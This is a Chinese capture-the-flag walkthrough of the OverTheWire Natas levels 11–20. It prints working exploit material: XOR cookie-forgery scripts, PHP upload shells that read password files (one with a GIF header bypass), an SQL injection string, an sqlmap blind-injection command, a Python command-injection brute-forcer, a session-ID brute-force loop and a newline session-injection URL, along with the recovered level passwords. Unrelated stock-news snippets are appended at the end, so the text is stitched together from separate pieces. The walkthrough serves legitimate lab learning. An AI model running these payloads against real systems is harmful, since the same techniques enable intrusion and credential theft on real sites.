Natas通关指南(11-20)

原创: Lof_x 合天智汇

接上一篇Natas通关指南(1-10) 继续闯关

OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0natas1读取。

网站:

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap

Level 11-12

Username: natas11

Password: natas11

URL: http://natas11.natas.labs.overthewire.org

首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:

  1. Cookies are protected with XOR encryption

还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:

  1. $defaultdata = array(
  2. "showpassword"
  3. =>
  4. "no"
  5. ,
  6. "bgcolor"
  7. =>
  8. "#ffffff"
  9. );
  10. function
  11. xor_encrypt($in) {
  12. $key =
  13. '<censored>'
  14. ;
  15. $text = $in;
  16. $outText =
  17. ''
  18. ;
  19. // Iterate through each character
  20. for
  21. ($i=
  22. 0
  23. ;$i<strlen($text);$i++) {
  24. $outText .= $text[$i] ^ $key[$i % strlen($key)];
  25. }
  26. return
  27. $outText;
  28. }
  29. function
  30. loadData($def) {
  31. global
  32. $_COOKIE;
  33. $mydata = $def;
  34. if
  35. (array_key_exists(
  36. "data"
  37. , $_COOKIE)) {
  38. $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[
  39. "data"
  40. ])),
  41. true
  42. );
  43. if
  44. (is_array($tempdata) && array_key_exists(
  45. "showpassword"
  46. , $tempdata) && array_key_exists(
  47. "bgcolor"
  48. , $tempdata)) {
  49. if
  50. (preg_match(
  51. '/^#(?:[a-f\d]{6})$/i'
  52. , $tempdata[
  53. 'bgcolor'
  54. ])) {
  55. $mydata[
  56. 'showpassword'
  57. ] = $tempdata[
  58. 'showpassword'
  59. ];
  60. $mydata[
  61. 'bgcolor'
  62. ] = $tempdata[
  63. 'bgcolor'
  64. ];
  65. }
  66. }
  67. }
  68. return
  69. $mydata;
  70. }
  71. function
  72. saveData($d) {
  73. setcookie(
  74. "data"
  75. , base64_encode(xor_encrypt(json_encode($d))));
  76. }
  77. $data = loadData($defaultdata);
  78. if
  79. (array_key_exists(
  80. "bgcolor"
  81. ,$_REQUEST)) {
  82. if
  83. (preg_match(
  84. '/^#(?:[a-f\d]{6})$/i'
  85. , $_REQUEST[
  86. 'bgcolor'
  87. ])) {
  88. $data[
  89. 'bgcolor'
  90. ] = $_REQUEST[
  91. 'bgcolor'
  92. ];
  93. }
  94. }
  95. saveData($data);
  96. ?>
  97. <h1>
  98. natas11</h1>
  99. <div id=
  100. "content"
  101. >
  102. <body style=
  103. "background: <?=$data['bgcolor']?>;"
  104. >
  105. Cookies
  106. are
  107. protected
  108. with
  109. XOR encryption<br/><br/>
  110. <?
  111. if
  112. ($data[
  113. "showpassword"
  114. ] ==
  115. "yes"
  116. ) {
  117. print
  118. "The password for natas12 is <censored><br>"
  119. ;
  120. }
  121. ?>

从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。把用户输入的数据编码进 cookie里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword这个参数决定了我们是否能看到下一关密码。代码中有个 censored的 key,这个是 php用来做异或运算加密用到的 key,我们需要先算出这 key值,然后用这个值作为 key进行运算和一些列编码,计算出新的 cookie传入,即可得到下一关的密码。

key值计算:

  1. <?php
  2. $orig_cookie = base64_decode(
  3. 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'
  4. );
  5. function
  6. xor_encrypt($in) {
  7. $text = $in;
  8. $key = json_encode(array(
  9. "showpassword"
  10. =>
  11. "no"
  12. ,
  13. "bgcolor"
  14. =>
  15. "#ffffff"
  16. ));
  17. $out =
  18. ''
  19. ;
  20. for
  21. ($i=
  22. 0
  23. ;$i<strlen($text);$i++) {
  24. $out .= $text[$i] ^ $key[$i % strlen($key)];
  25. }
  26. return
  27. $out;
  28. }
  29. echo xor_encrypt($orig_cookie);
  30. ?>

得到的结果是 qw8J

计算新的Cookie:

  1. <?php
  2. $defaultdata = array(
  3. "showpassword"
  4. =>
  5. "yes"
  6. ,
  7. "bgcolor"
  8. =>
  9. "#ffffff"
  10. );
  11. function
  12. xor_encrypt($in) {
  13. $key =
  14. 'qw8J'
  15. ;
  16. $text = $in;
  17. $out =
  18. ''
  19. ;
  20. // Iterate through each character
  21. for
  22. ($i=
  23. 0
  24. ;$i<strlen($text);$i++) {
  25. $out .= $text[$i] ^ $key[$i % strlen($key)];
  26. }
  27. return
  28. $out;
  29. }
  30. function
  31. loadData($def) {
  32. $mydata = $def;
  33. $tempdata = json_decode(xor_encrypt(base64_decode($data)),
  34. true
  35. );
  36. return
  37. $mydata;
  38. }
  39. echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
  40. ?>

结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:

  1. curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie
  2. "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
  3. HTTP/
  4. 1.1
  5. 200
  6. OK
  7. Date
  8. :
  9. Mon
  10. ,
  11. 27
  12. Aug
  13. 2018
  14. 13
  15. :
  16. 40
  17. :
  18. 47
  19. GMT
  20. Server
  21. :
  22. Apache
  23. /
  24. 2.4
  25. .
  26. 10
  27. (
  28. Debian
  29. )
  30. Set
  31. -
  32. Cookie
  33. : data=
  34. ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
  35. ......
  36. Cookies
  37. are
  38. protected
  39. with
  40. XOR encryption<br/><br/>
  41. The
  42. password
  43. for
  44. natas12
  45. is
  46. EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
  47. <br>
  48. ......

得到密码。

Level 12-13

Username: natas12

URL: http://natas12.natas.labs.overthewire.org

登录natas12,可以看到是一个上传文件功能:

  1. Choose a JPEG to upload (max 1KB):

提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:

  1. <?
  2. function
  3. genRandomString() {
  4. $length =
  5. 10
  6. ;
  7. $characters =
  8. "0123456789abcdefghijklmnopqrstuvwxyz"
  9. ;
  10. $string =
  11. ""
  12. ;
  13. for
  14. ($p =
  15. 0
  16. ; $p < $length; $p++) {
  17. $string .= $characters[mt_rand(
  18. 0
  19. , strlen($characters)-
  20. 1
  21. )];
  22. }
  23. return
  24. $string;
  25. }
  26. function
  27. makeRandomPath($dir, $ext) {
  28. do
  29. {
  30. $path = $dir.
  31. "/"
  32. .genRandomString().
  33. "."
  34. .$ext;
  35. }
  36. while
  37. (file_exists($path));
  38. return
  39. $path;
  40. }
  41. function
  42. makeRandomPathFromFilename($dir, $fn) {
  43. $ext = pathinfo($fn, PATHINFO_EXTENSION);
  44. return
  45. makeRandomPath($dir, $ext);
  46. }
  47. if
  48. (array_key_exists(
  49. "filename"
  50. , $_POST)) {
  51. $target_path = makeRandomPathFromFilename(
  52. "upload"
  53. , $_POST[
  54. "filename"
  55. ]);
  56. if
  57. (filesize($_FILES[
  58. 'uploadedfile'
  59. ][
  60. 'tmp_name'
  61. ]) >
  62. 1000
  63. ) {
  64. echo
  65. "File is too big"
  66. ;
  67. }
  68. else
  69. {
  70. if
  71. (move_uploaded_file($_FILES[
  72. 'uploadedfile'
  73. ][
  74. 'tmp_name'
  75. ], $target_path)) {
  76. echo
  77. "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
  78. ;
  79. }
  80. else
  81. {
  82. echo
  83. "There was an error uploading the file, please try again!"
  84. ;
  85. }
  86. }
  87. }
  88. else
  89. {
  90. ?>
  91. <form
  92. enctype
  93. =
  94. "multipart/form-data"
  95. action
  96. =
  97. "index.php"
  98. method
  99. =
  100. "POST"
  101. >
  102. <input
  103. type
  104. =
  105. "hidden"
  106. name
  107. =
  108. "MAX_FILE_SIZE"
  109. value
  110. =
  111. "1000"
  112. />
  113. <input type="hidden" name="filename" value="<?
  114. print
  115. genRandomString(); ?>.jpg" />
  116. Choose a JPEG to upload (max 1KB):
  117. <br/>
  118. <input
  119. name
  120. =
  121. "uploadedfile"
  122. type
  123. =
  124. "file"
  125. /><br
  126. />
  127. <input
  128. type
  129. =
  130. "submit"
  131. value
  132. =
  133. "Upload File"
  134. />

通过阅读代码,可以发现除了**文件大小和文件扩展名做了前端**之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 BurpSuite之类的工具修改上传的 filename后缀即可。

  1. ///getpass.php
  2. <?php
  3. $getpass = file_get_contents(
  4. '/etc/natas_webpass/natas13'
  5. );
  6. echo $getpass;
  7. ?>

得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13-14

Username: natas13

URL: http://natas13.natas.labs.overthewire.org

页面和前一关一样,不过查看源代码发现这一次**了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:

  1. }
  2. else
  3. if
  4. (! exif_imagetype($_FILES[
  5. 'uploadedfile'
  6. ][
  7. 'tmp_name'
  8. ])) {
  9. echo
  10. "File is not an image"
  11. ;
  12. }
  13. else
  14. {
  15. if
  16. (move_uploaded_file($_FILES[
  17. 'uploadedfile'
  18. ][
  19. 'tmp_name'
  20. ], $target_path)) {
  21. echo
  22. "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
  23. ;
  24. }
  25. else
  26. {
  27. echo
  28. "There was an error uploading the file, please try again!"
  29. ;
  30. }
  31. }
  32. }
  33. else
  34. {

那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a

  1. GIF89a
  2. <?php
  3. $getpass = file_get_contents(
  4. '/etc/natas_webpass/natas14'
  5. );
  6. echo $getpass;
  7. ?>

上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14-15

Username: natas14

URL: http://natas14.natas.labs.overthewire.org

访问后,是一个登录页面,需要输入 username和 password,查看代码,关键代码:

  1. <?
  2. if
  3. (array_key_exists(
  4. "username"
  5. , $_REQUEST)) {
  6. $link = mysql_connect(
  7. 'localhost'
  8. ,
  9. 'natas14'
  10. ,
  11. '<censored>'
  12. );
  13. mysql_select_db(
  14. 'natas14'
  15. , $link);
  16. $query =
  17. "SELECT * from users where username=\""
  18. .$_REQUEST[
  19. "username"
  20. ].
  21. "\" and password=\""
  22. .$_REQUEST[
  23. "password"
  24. ].
  25. "\""
  26. ;
  27. if
  28. (array_key_exists(
  29. "debug"
  30. , $_GET)) {
  31. echo
  32. "Executing query: $query<br>"
  33. ;
  34. }
  35. if
  36. (mysql_num_rows(mysql_query($query, $link)) >
  37. 0
  38. ) {
  39. echo
  40. "Successful login! The password for natas15 is <censored><br>"
  41. ;
  42. }
  43. else
  44. {
  45. echo
  46. "Access denied!<br>"
  47. ;
  48. }
  49. mysql_close($link);
  50. }
  51. else
  52. {
  53. ?>

很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #

注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15-16

Username: natas15

URL: http://natas15.natas.labs.overthewire.org

页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:

  1. <h1>
  2. natas15
  3. </h1>
  4. <div
  5. id
  6. =
  7. "content"
  8. >
  9. <?
  10. /*
  11. CREATE TABLE `users` (
  12. `username` varchar(64) DEFAULT NULL,
  13. `password` varchar(64) DEFAULT NULL
  14. );
  15. */
  16. if
  17. (array_key_exists(
  18. "username"
  19. , $_REQUEST)) {
  20. $link = mysql_connect(
  21. 'localhost'
  22. ,
  23. 'natas15'
  24. ,
  25. '<censored>'
  26. );
  27. mysql_select_db(
  28. 'natas15'
  29. , $link);
  30. $query =
  31. "SELECT * from users where username=\""
  32. .$_REQUEST[
  33. "username"
  34. ].
  35. "\""
  36. ;
  37. if
  38. (array_key_exists(
  39. "debug"
  40. , $_GET)) {
  41. echo
  42. "Executing query: $query<br>"
  43. ;
  44. }
  45. $res = mysql_query($query, $link);
  46. if
  47. ($res) {
  48. if
  49. (mysql_num_rows($res) >
  50. 0
  51. ) {
  52. echo
  53. "This user exists.<br>"
  54. ;
  55. }
  56. else
  57. {
  58. echo
  59. "This user doesn't exist.<br>"
  60. ;
  61. }
  62. }
  63. else
  64. {
  65. echo
  66. "Error in query.<br>"
  67. ;
  68. }
  69. mysql_close($link);
  70. }
  71. else
  72. {
  73. ?>

这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。这里我们直接用 sqlmap好了。

  1. sqlmap -u http:
  2. //natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Level 16-17

Username: natas16

URL: http://natas16.natas.labs.overthewire.org

这一关和第9关,第10关很像,不过过滤了更多的字符

页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:

  1. $key =
  2. ""
  3. ;
  4. if
  5. (array_key_exists(
  6. "needle"
  7. , $_REQUEST)) {
  8. $key = $_REQUEST[
  9. "needle"
  10. ];
  11. }
  12. if
  13. ($key !=
  14. ""
  15. ) {
  16. if
  17. (preg_match(
  18. '/[;|&`\'"]/'
  19. ,$key)) {
  20. print
  21. "Input contains an illegal character!"
  22. ;
  23. }
  24. else
  25. {
  26. passthru(
  27. "grep -i \"$key\" dictionary.txt"
  28. );
  29. }
  30. }
  31. ?>

虽然过滤了很多字符,但是没有过滤 $和 ()。我们知道PHP里的 $()即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17),执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");所有的单词都被返回了。 我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep会返回结果 。

比如说:如 password中首字母为 a,构成

grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为

grep-I"aA"dictionary.txt由于 dictionary中没有 aA,从而返回空值

而如果内层 $()命令返回空值,外层则能正确检索到 A,于是返回值,证明首字母不是 a

按照这个原理可以构造出**脚本

  1. import
  2. requests
  3. chars =
  4. '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  5. exist =
  6. ''
  7. password =
  8. ''
  9. target =
  10. 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
  11. trueStr =
  12. 'Output:\n<pre>\n</pre>'
  13. for
  14. x
  15. in
  16. chars:
  17. r = requests.get(target+
  18. '?needle=$(grep '
  19. +x+
  20. ' /etc/natas_webpass/natas17)Getpass'
  21. )
  22. if
  23. r.content.find(trueStr) != -
  24. 1
  25. :
  26. exist += x
  27. print
  28. 'Using: '
  29. + exist
  30. for
  31. i
  32. in
  33. range(
  34. 32
  35. ):
  36. for
  37. c
  38. in
  39. exist:
  40. r = requests.get(target+
  41. '?needle=$(grep ^'
  42. +password+c+
  43. ' /etc/natas_webpass/natas17)Getpass'
  44. )
  45. if
  46. r.content.find(trueStr) != -
  47. 1
  48. :
  49. password += c
  50. print
  51. 'Password: '
  52. + password +
  53. '*'
  54. * int(
  55. 32
  56. - len(password))
  57. break

得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 17-18

Username: natas17

URL: http://natas17.natas.labs.overthewire.org

同 natas15,不过没有错误提示,所以可以用基于时间的盲注。

得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18-19

Username: natas18

URL: http://natas18.natas.labs.overthewire.org

提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.

同样有一个登录框,可以输入 username和 password。关键代码如下:

  1. $maxid =
  2. 640
  3. ;
  4. // 640 should be enough for everyone
  5. function
  6. isValidAdminLogin() {
  7. /* {{{ */
  8. if
  9. ($_REQUEST[
  10. "username"
  11. ] ==
  12. "admin"
  13. ) {
  14. /* This method of authentication appears to be unsafe and has been disabled for now. */
  15. //return 1;
  16. }
  17. return
  18. 0
  19. ;
  20. }
  21. /* }}} */
  22. function
  23. isValidID($id) {
  24. /* {{{ */
  25. return
  26. is_numeric($id);
  27. }
  28. /* }}} */
  29. function
  30. createID($user) {
  31. /* {{{ */
  32. global
  33. $maxid;
  34. return
  35. rand(
  36. 1
  37. , $maxid);
  38. }
  39. /* }}} */
  40. function
  41. debug($msg) {
  42. /* {{{ */
  43. if
  44. (array_key_exists(
  45. "debug"
  46. , $_GET)) {
  47. print
  48. "DEBUG: $msg<br>"
  49. ;
  50. }
  51. }
  52. /* }}} */
  53. function
  54. my_session_start() {
  55. /* {{{ */
  56. if
  57. (array_key_exists(
  58. "PHPSESSID"
  59. , $_COOKIE)
  60. and
  61. isValidID($_COOKIE[
  62. "PHPSESSID"
  63. ])) {
  64. if
  65. (!session_start()) {
  66. debug(
  67. "Session start failed"
  68. );
  69. return
  70. false
  71. ;
  72. }
  73. else
  74. {
  75. debug(
  76. "Session start ok"
  77. );
  78. if
  79. (!array_key_exists(
  80. "admin"
  81. , $_SESSION)) {
  82. debug(
  83. "Session was old: admin flag set"
  84. );
  85. $_SESSION[
  86. "admin"
  87. ] =
  88. 0
  89. ;
  90. // backwards compatible, secure
  91. }
  92. return
  93. true
  94. ;
  95. }
  96. }
  97. return
  98. false
  99. ;
  100. }
  101. /* }}} */
  102. function
  103. print_credentials() {
  104. /* {{{ */
  105. if
  106. ($_SESSION
  107. and
  108. array_key_exists(
  109. "admin"
  110. , $_SESSION)
  111. and
  112. $_SESSION[
  113. "admin"
  114. ] ==
  115. 1
  116. ) {
  117. print
  118. "You are an admin. The credentials for the next level are:<br>"
  119. ;
  120. print
  121. "<pre>Username: natas19\n"
  122. ;
  123. print
  124. "Password: <censored></pre>"
  125. ;
  126. }
  127. else
  128. {
  129. print
  130. "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."
  131. ;
  132. }
  133. }
  134. /* }}} */
  135. $showform =
  136. true
  137. ;
  138. if
  139. (my_session_start()) {
  140. print_credentials();
  141. $showform =
  142. false
  143. ;
  144. }
  145. else
  146. {
  147. if
  148. (array_key_exists(
  149. "username"
  150. , $_REQUEST) && array_key_exists(
  151. "password"
  152. , $_REQUEST)) {
  153. session_id(createID($_REQUEST[
  154. "username"
  155. ]));
  156. session_start();
  157. $_SESSION[
  158. "admin"
  159. ] = isValidAdminLogin();
  160. debug(
  161. "New session started"
  162. );
  163. $showform =
  164. false
  165. ;
  166. print_credentials();
  167. }
  168. }
  169. if
  170. ($showform) {
  171. ?>

从代码上来看,没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1到 640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。

所以我们只要穷举 maxid的值就好了。可以用 Burpsuite**这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定

  1. for
  2. i
  3. in
  4. `seq 640`
  5. do
  6. echo $i
  7. curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http:
  8. //natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
  9. done

Level 19-20

Username: natas19

URL: http://natas19.natas.labs.overthewire.org

提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一关一样,只不过 PHPSESSID不再那么简单容易猜到而已。

通过观察,发现其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制**发现,都是由 3位数字-admin组成的,也就是说后面的 2d61646d696e是不变的。所以我们只需要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 admin的 PHPSESSID。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 20-21

Username: natas20

URL: http://natas20.natas.labs.overthewire.org

登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:

  1. <?
  2. function
  3. debug($msg) {
  4. /* {{{ */
  5. if
  6. (array_key_exists(
  7. "debug"
  8. , $_GET)) {
  9. print
  10. "DEBUG: $msg<br>"
  11. ;
  12. }
  13. }
  14. /* }}} */
  15. function
  16. print_credentials() {
  17. /* {{{ */
  18. if
  19. ($_SESSION
  20. and
  21. array_key_exists(
  22. "admin"
  23. , $_SESSION)
  24. and
  25. $_SESSION[
  26. "admin"
  27. ] ==
  28. 1
  29. ) {
  30. print
  31. "You are an admin. The credentials for the next level are:<br>"
  32. ;
  33. print
  34. "<pre>Username: natas21\n"
  35. ;
  36. print
  37. "Password: <censored></pre>"
  38. ;
  39. }
  40. else
  41. {
  42. print
  43. "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."
  44. ;
  45. }
  46. }
  47. /* }}} */
  48. /* we don't need this */
  49. function
  50. myopen($path, $name) {
  51. //debug("MYOPEN $path $name");
  52. return
  53. true
  54. ;
  55. }
  56. /* we don't need this */
  57. function
  58. myclose() {
  59. //debug("MYCLOSE");
  60. return
  61. true
  62. ;
  63. }
  64. function
  65. myread($sid) {
  66. debug(
  67. "MYREAD $sid"
  68. );
  69. if
  70. (strspn($sid,
  71. "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
  72. ) != strlen($sid)) {
  73. debug(
  74. "Invalid SID"
  75. );
  76. return
  77. ""
  78. ;
  79. }
  80. $filename = session_save_path() .
  81. "/"
  82. .
  83. "mysess_"
  84. . $sid;
  85. if
  86. (!file_exists($filename)) {
  87. debug(
  88. "Session file doesn't exist"
  89. );
  90. return
  91. ""
  92. ;
  93. }
  94. debug(
  95. "Reading from "
  96. . $filename);
  97. $data = file_get_contents($filename);
  98. $_SESSION = array();
  99. foreach
  100. (explode(
  101. "\n"
  102. , $data)
  103. as
  104. $line) {
  105. debug(
  106. "Read [$line]"
  107. );
  108. $parts = explode(
  109. " "
  110. , $line,
  111. 2
  112. );
  113. if
  114. ($parts[
  115. 0
  116. ] !=
  117. ""
  118. ) $_SESSION[$parts[
  119. 0
  120. ]] = $parts[
  121. 1
  122. ];
  123. }
  124. return
  125. session_encode();
  126. }
  127. function
  128. mywrite($sid, $data) {
  129. // $data contains the serialized version of $_SESSION
  130. // but our encoding is better
  131. debug(
  132. "MYWRITE $sid $data"
  133. );
  134. // make sure the sid is alnum only!!
  135. if
  136. (strspn($sid,
  137. "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
  138. ) != strlen($sid)) {
  139. debug(
  140. "Invalid SID"
  141. );
  142. return
  143. ;
  144. }
  145. $filename = session_save_path() .
  146. "/"
  147. .
  148. "mysess_"
  149. . $sid;
  150. $data =
  151. ""
  152. ;
  153. debug(
  154. "Saving in "
  155. . $filename);
  156. ksort($_SESSION);
  157. foreach
  158. ($_SESSION
  159. as
  160. $key => $value) {
  161. debug(
  162. "$key => $value"
  163. );
  164. $data .=
  165. "$key $value\n"
  166. ;
  167. }
  168. file_put_contents($filename, $data);
  169. chmod($filename,
  170. 0600
  171. );
  172. }
  173. /* we don't need this */
  174. function
  175. mydestroy($sid) {
  176. //debug("MYDESTROY $sid");
  177. return
  178. true
  179. ;
  180. }
  181. /* we don't need this */
  182. function
  183. mygarbage($t) {
  184. //debug("MYGARBAGE $t");
  185. return
  186. true
  187. ;
  188. }
  189. session_set_save_handler(
  190. "myopen"
  191. ,
  192. "myclose"
  193. ,
  194. "myread"
  195. ,
  196. "mywrite"
  197. ,
  198. "mydestroy"
  199. ,
  200. "mygarbage"
  201. );
  202. session_start();
  203. if
  204. (array_key_exists(
  205. "name"
  206. , $_REQUEST)) {
  207. $_SESSION[
  208. "name"
  209. ] = $_REQUEST[
  210. "name"
  211. ];
  212. debug(
  213. "Name set to "
  214. . $_REQUEST[
  215. "name"
  216. ]);
  217. }
  218. print_credentials();
  219. $name =
  220. ""
  221. ;
  222. if
  223. (array_key_exists(
  224. "name"
  225. , $_SESSION)) {
  226. $name = $_SESSION[
  227. "name"
  228. ];
  229. }
  230. ?>

我们来看看每个函数的作用:

debug($msg)表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg。

访问之后将看到一些提示,类似这样的:

  1. DEBUG: MYWRITE **2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
  2. DEBUG: Saving in /var/lib/php5/sessions//mysess_**2d78a9d3u7r6qq2dn8tl7sf1
  3. DEBUG: name => admin

可以看出,登录之后, $ _SESSION的值被存储在一个文件中。

重点在 mywrite和 myread这两个关键函数,它们的作用是管理会话状态。

默认情况下, $ _SESSION中唯一的 key是 name,其值通过 /index.php中的表单提交进行设置。我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n。

对换行符编码然后提交:

  1. http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

再次访问 http://natas20.natas.labs.overthewire.org即可得到密码

  1. You are an admin. The credentials for the next level are:
  2. Username: natas21
  3. Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

未完待续......


相关股票:
相关概念: EDA ETC

001299美能能源估值分析及打新申购建议

一 公司基本情况速览总股本:1.879亿 总发行量 :4690万 发行**:10.69元 募资总额:5.01亿发行市盈率:20.42倍 行业市盈率:19.12倍所属行业:燃气生产和供应 所属区域:陕西

美能能源(001299)12月6日主力资金净买入1125.28万元

截至2022年12月6日收盘,美能能源(001299)报收于27.53元,上涨2.92%,换手率39.8%,成交量18.67万手,成交额5.05亿元。12月6日的资金流向数据方面,主力资金净流入112

美能能源11月8日主力资金净卖出3991.53万元

截至2022年11月8日收盘,美能能源(001299)报收于22.69元,上涨3.18%,换手率71.38%,成交量33.48万手,成交额7.75亿元。资金流向数据方面,11月8日主力资金净流出399

专访美能能源董事长晏立群:紧随绿色低碳能源**大潮 捕捉清洁能源发展新商机

90年代初,****前沿的深圳还处在草莽创业的时期,那时候,深圳吸引了一批又一批来自全国各地的年轻人,晏立群就是其中之一。从外出闯荡到回乡扎根,从推销液化气灶具到推广应用天然气,从“打工人”到创业者,

美能能源(001299)7月20日股东户数2万户,较上期减少6.82%

近日美能能源披露,截至2023年7月20日公司股东户数为2.0万户,较7月10日减少1465.0户,减幅为6.82%。户均持股数量由上期的8731.0股增加至9370.0股,户均持股市值为15.18万

美能能源股东户数下降13.59%,户均持股3.53万元

美能能源2023年3月22日在深交所互动易中披露,截至2023年3月20日公司股东户数为2.27万户,较上期(2023年2月10日)减少3573户,减幅为13.59%。美能能源股东户数低于行业平均水平

美能能源最新股东户数下降6.82% **趋向集中

美能能源7月24日在交易所互动平台中披露,截至7月20日公司股东户数为20020户,较上期(7月10日)减少1465户,环比降幅为6.82%。证券时报•数据宝统计,截至发稿,美能能源收盘价为16.20

天然气供应商美能能源上市首日涨停,三季报业绩增收不增利

记者 | 陈慧东编辑 | 10月31日上市首日,美能能源(001299.SZ)高开后一路上涨,两次触及涨停**,于10时01分许封上涨停板。截至收盘,该股股价上涨43.97%,报15.39元/股,成交

美能能源股东户数增加59户,户均持股3.64万元

美能能源2023年7月18日在深交所互动易中披露,截至2023年7月10日公司股东户数为2.15万户,较上期(2023年6月30日)增加59户,增幅为0.28%。美能能源股东户数低于行业平均水平。根据

多主力现身**榜,美能能源换手率达67.90%(11-24)

深交所2022年11月24日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收22.57元,涨跌幅为-1.53%,换手率67.90%,振幅10.43%,成交额7.

多主力现身**榜,美能能源换手率达47.30%(11-23)

深交所2022年11月23日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收22.92元,涨跌幅为9.98%,换手率47.30%,振幅12.57%,成交额4.9

11月30日美能能源(001299)**榜数据:机构净买入6.49万元

沪深交易所2022年11月30日公布的交易***息显示,美能能源(001299)因日换手率达到20%的前5只证券登上**榜。此次是近5个交易日内第5次上榜。截至2022年11月30日收盘,美能能源(0

美能能源将开启申购:上半年增收不增利,预计上市时市值20亿元

